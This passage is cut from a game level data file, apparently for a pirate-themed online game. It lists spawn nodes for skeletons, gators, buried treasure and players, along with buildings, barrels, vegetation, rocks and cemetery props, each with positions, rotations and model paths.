'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_c'}}, '1175223168.0dxschafe1': {'Type': 'Object Spawn Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(387.172, 232.752, 59.686), 'Priority': '1', 'Scale': VBase3(1.0, 1.0, 1.0), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1175223424.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': Point3(0.0, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '1.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(400.778, 233.07, 60.955), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Ambush', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1175224704.0dxschafe0': {'Type': 'Object Spawn Node', 'Hpr': VBase3(0.0, 0.0, -12.995), 'Pos': Point3(166.759, -41.073, 33.247), 'Priority': '1', 'Scale': VBase3(1.0, 1.0, 1.0), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1175224832.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-70.09, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(69.525, -54.895, -1.355), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Gator T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176167680.0dxschafe0': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(148.171, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(829.784, 119.704, 52.032), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Ambush', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0.0, 0.0, 0.65, 1.0), 'Model': 'models/misc/smiley'}}, '1176167680.0dxschafe2': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'gp_searching', 'AuraFX': 'None', 'Hpr': VBase3(-148.513, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(750.523, 147.053, 51.98), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176167936.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(126.295, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(801.017, 139.364, 52.074), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176167936.0dxschafe0': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-101.196, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(418.282, 73.97, 62.672), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Ambush', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176168064.0dxschafe': {'Type': 'Object Spawn Node', 'Hpr': VBase3(-2.207, -2.938, 10.983), 'Pos': Point3(499.402, -53.328, 68.369), 'Priority': '1', 'Scale': VBase3(1.015, 1.015, 1.015), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1176168064.0dxschafe0': {'Type': 'Object Spawn Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(685.383, 83.611, 52.17), 'Priority': '1', 'Scale': VBase3(1.0, 1.0, 1.0), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1176168192.0dxschafe': {'Type': 'Object Spawn Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(868.624, 102.442, 52.061), 'Priority': '1', 'Scale': VBase3(1.0, 1.0, 1.0), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1176168320.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-70.09, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(-39.695, 119.593, 10.435), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Gator T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176168448.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(44.903, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(233.03, 29.447, 46.883), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176168448.0dxschafe0': {'Type': 'Object Spawn Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(311.172, 71.169, 53.497), 'Priority': '1', 'Scale': VBase3(1.0, 1.0, 1.0), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1176168576.0dxschafe1': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(97.422, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(272.907, 128.371, 50.102), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe2': {'Type': 'Player Spawn Node', 'Hpr': VBase3(119.358, 0.0, 0.0), 'Index': -1, 'Pos': Point3(206.444, 162.548, 43.246), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe3': {'Type': 'Player Spawn Node', 'Hpr': VBase3(138.375, -2.486, -0.136), 'Index': -1, 'Pos': Point3(298.035, 259.054, 51.992), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe4': {'Type': 'Player Spawn Node', 'Hpr': VBase3(-47.565, 0.0, 0.0), 'Index': -1, 'Pos': Point3(90.243, 118.761, 12.972), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe5': {'Type': 'Player Spawn Node', 'Hpr': VBase3(-21.524, 0.0, 0.0), 'Index': -1, 'Pos': Point3(149.136, -3.308, 28.612), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe6': {'Type': 'Player Spawn Node', 'Hpr': VBase3(-132.278, 0.0, 0.0), 'Index': -1, 'Pos': Point3(375.376, 289.812, 58.559), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe7': {'Type': 'Player Spawn Node', 'Hpr': VBase3(38.242, 0.0, 0.0), 'Index': -1, 'Pos': Point3(614.181, 62.597, 54.743), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe': {'Type': 'Player Spawn Node', 'Hpr': VBase3(32.702, 0.0, 0.0), 'Index': -1, 'Pos': Point3(667.837, 5.777, 52.335), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe0': {'Type': 'Player Spawn Node', 'Hpr': VBase3(67.521, 0.0, 0.0), 'Index': -1, 'Pos': Point3(810.214, 57.867, 52.174), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe1': {'Type': 'Player Spawn Node', 'Hpr': VBase3(35.299, 0.0, 0.0), 'Index': -1, 'Pos': Point3(524.433, 140.859, 65.087), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe2': {'Type': 'Player Spawn Node', 'Hpr': VBase3(106.699, 0.0, 0.0), 'Index': -1, 'Pos': Point3(710.482, 130.623, 52.064), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe3': {'Type': 'Player Spawn Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Index': -1, 'Pos': Point3(509.395, 32.519, 67.065), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe4': {'Type': 'Player Spawn Node', 'Hpr': VBase3(-140.412, 0.0, 0.0), 'Index': -1, 'Pos': Point3(483.072, 209.599, 67.952), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1177008640.0dxschafe': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1177008640.0dxschafe0', 'Holiday': '', 'Hpr': VBase3(178.02, 0.0, -5.578), 'Objects': {'1219277480.27mtucker': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.424, -5.194, 1.006), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1219277480.29mtucker': {'Type': 'Door Locator Node', 'Name': 'door_locator_2', 'Hpr': VBase3(0.0, 0.0, 0.0), 'Pos': Point3(6.661, 20.924, 1.096), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(595.174, -47.98, 57.19), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Name': '', 'Color': (0.47, 0.53, 0.5176470588235295, 1.0), 'Door': 'models/buildings/shanty_guildhall_door', 'Interior': 'models/buildings/interior_shanty_guildhall', 'Model': 'models/buildings/shanty_npc_house_combo_B', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_blacksmith'}}, '1177008640.0dxschafe1': {'Type': 'Barrel', 'DisableCollision': False, 'Hpr': VBase3(0.0, 0.0, 5.658), 'Pos': Point3(570.307, -42.877, 59.752), 'Scale': VBase3(0.783, 0.783, 0.783), 'Visual': {'Color': (0.56, 0.53, 0.43529411764705883, 1.0), 'Model': 'models/props/barrel_group_2'}}, '1177008640.0dxschafe2': {'Type': 'Searchable Container', 'Aggro Radius': '5.0000', 'Hpr': VBase3(0.0, 0.0, 3.909), 'Pos': Point3(576.735, -38.104, 59.338), 'Scale': VBase3(0.707, 0.707, 0.707), 'VisSize': '', 'Visual': {'Color': (0.52, 0.49, 0.35294117647058826, 1.0), 'Model': 'models/props/barrel'}, 'searchTime': '6.0', 'type': 'Barrel'}, '1177008768.0dxschafe': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(105.564, 0.0, 0.0), 'Pos': Point3(589.236, -42.386, 57.284), 'Scale': VBase3(0.711, 0.711, 0.711), 'Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0), 'Model': 'models/vegetation/bush_f'}}, '1177008896.0dxschafe': {'Type': 'Searchable Container', 'Aggro Radius': 5.0, 'Hpr': VBase3(0.0, 0.0, 4.893), 'Pos': Point3(621.098, -27.305, 53.957), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/wellA'}, 'searchTime': '6.0', 'type': 'WellA'}, '1177009024.0dxschafe': {'Type': 'Grass', 'DisableCollision': False, 'Hpr': VBase3(176.328, 0.298, -4.636), 'Pos': Point3(621.626, -23.54, 53.044), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.699999988079071, 0.699999988079071, 0.699999988079071, 1.0), 'Model': 'models/vegetation/grass_3feet'}}, '1177009024.0dxschafe0': {'Type': 'Grass', 'DisableCollision': False, 'Hpr': VBase3(-162.736, -1.381, -4.436), 'Pos': Point3(586.099, -40.061, 58.031), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0), 'Model': 'models/vegetation/grass_3feet'}}, '1177009152.0dxschafe': {'Type': 'Grass', 'DisableCollision': False, 'Hpr': VBase3(168.473, 0.93, -4.551), 'Pos': Point3(605.687, -45.992, 55.822), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.699999988079071, 0.699999988079071, 0.699999988079071, 1.0), 'Model': 'models/vegetation/grass_3feet'}}, '1178681020.97kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(46.96, 41.05, -22.42), 'Pos': Point3(16.33, 254.797, 46.86), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/vegetation/bush_i'}}, '1178681025.89kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(0.0, 51.894, 0.0), 'Pos': Point3(24.752, 255.026, 49.259), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/vegetation/bush_i'}}, '1178681031.47kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(6.536, 0.0, 12.729), 'Pos': Point3(2.531, 252.514, 53.183), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/vegetation/bush_a'}}, '1178681044.38kmuller': {'Type': 'Rock', 'DisableCollision': False, 'Hpr': VBase3(79.77, -65.612, 90.0), 'Pos': Point3(24.414, 251.111, 30.358), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/rock_caveA_floor'}}, '1178681049.75kmuller': {'Type': 'Rock', 'DisableCollision': False, 'Hpr': VBase3(95.332, -2.39, -172.01), 'Pos': Point3(25.641, 258.083, 58.994), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/rock_caveB_sphere'}}, '1179333564.3Aholdun': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(56.448, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(121.007, 141.485, 20.962), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Ambush', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1179333651.86Aholdun': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(160.529, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(176.698, 185.87, 35.433), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1179333670.7Aholdun': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-3.24, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(59.256, 124.007, 7.382), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1179333814.72Aholdun': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(60.602, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(191.269, 40.124, 39.527), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1179336066.55Aholdun': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(79.695, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(100.106, 58.322, 15.678), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1187321856.0dxschafe': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(52.849, 0.0, 0.0), 'Pos': Point3(224.89, 253.092, 44.855), 'Scale': VBase3(1.0, 1.0, 1.637), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1188498358.66kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(-18.893, 35.722, 30.378), 'Pos': Point3(59.772, 261.115, 43.983), 'Scale': VBase3(1.105, 1.105, 1.105), 'Visual': {'Model': 'models/vegetation/bush_i'}}, '1188498393.79kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(0.0, 8.206, 0.0), 'Pos': Point3(74.684, 251.811, 23.618), 'Scale': VBase3(1.0, 1.0, 1.467), 'Visual': {'Model': 'models/vegetation/bush_a'}}, '1188505728.0dxschafe0': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(56.612, 0.464, -8.633), 'Objects': {}, 'Pos': Point3(196.103, 233.874, 40.076), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_a'}}, '1188505728.0dxschafe1': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188505728.0dxschafe10': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-12.602, 1.384, -0.029), 'Objects': {}, 'Pos': Point3(811.594, 161.437, 52.373), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_a'}}, '1188505728.0dxschafe11': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188505728.0dxschafe12': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(35.652, 0.0, 0.0), 'Pos': Point3(775.217, 158.782, 51.584), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1188505728.0dxschafe13': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-27.581, 5.91, -0.274), 'Pos': Point3(788.353, 146.507, 53.917), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_c'}}, '1188505728.0dxschafe14': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-28.42, 2.301, 4.039), 'Pos': Point3(819.835, 145.721, 52.284), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/pir_m_prp_cem_headstones_b'}}, '1188505728.0dxschafe15': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(144.238, -1.284, -0.517), 'Objects': {}, 'Pos': Point3(817.971, 128.052, 52.437), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_a'}}, '1188505728.0dxschafe16': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188505728.0dxschafe17': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(35.652, 0.0, 0.0), 'Pos': Point3(800.291, 131.204, 51.631), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1188505728.0dxschafe18': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(151.046, -5.915, 0.133), 'Pos': Point3(839.917, 112.467, 52.118), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_d'}}, '1188505728.0dxschafe19': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-34.875, 2.785, -1.473), 'Pos': Point3(840.341, 139.653, 52.825), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/crypt1'}}, '1188505728.0dxschafe2': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(35.652, 0.0, 0.0), 'Pos': Point3(179.854, 256.513, 35.379), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1188505728.0dxschafe3': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(13.563, 4.277, -9.202), 'Pos': Point3(178.021, 214.868, 35.986), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_d'}}, '1188505728.0dxschafe4': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(36.874, -1.054, -8.788), 'Pos': Point3(164.288, 216.244, 31.899), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/pir_m_prp_cem_headstones_b'}}, '1188505728.0dxschafe5': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-177.897, -1.331, 0.38), 'Objects': {}, 'Pos': Point3(795.421, 170.764, 52.435), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/crypt2'}}, '1188505728.0dxschafe6': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188505728.0dxschafe7': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(35.652, 0.0, 0.0), 'Pos': Point3(487.497, 59.038, 68.126), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1188505728.0dxschafe8': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-25.624, 5.897, -0.475), 'Pos': Point3(772.505, 148.36, 53.875), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 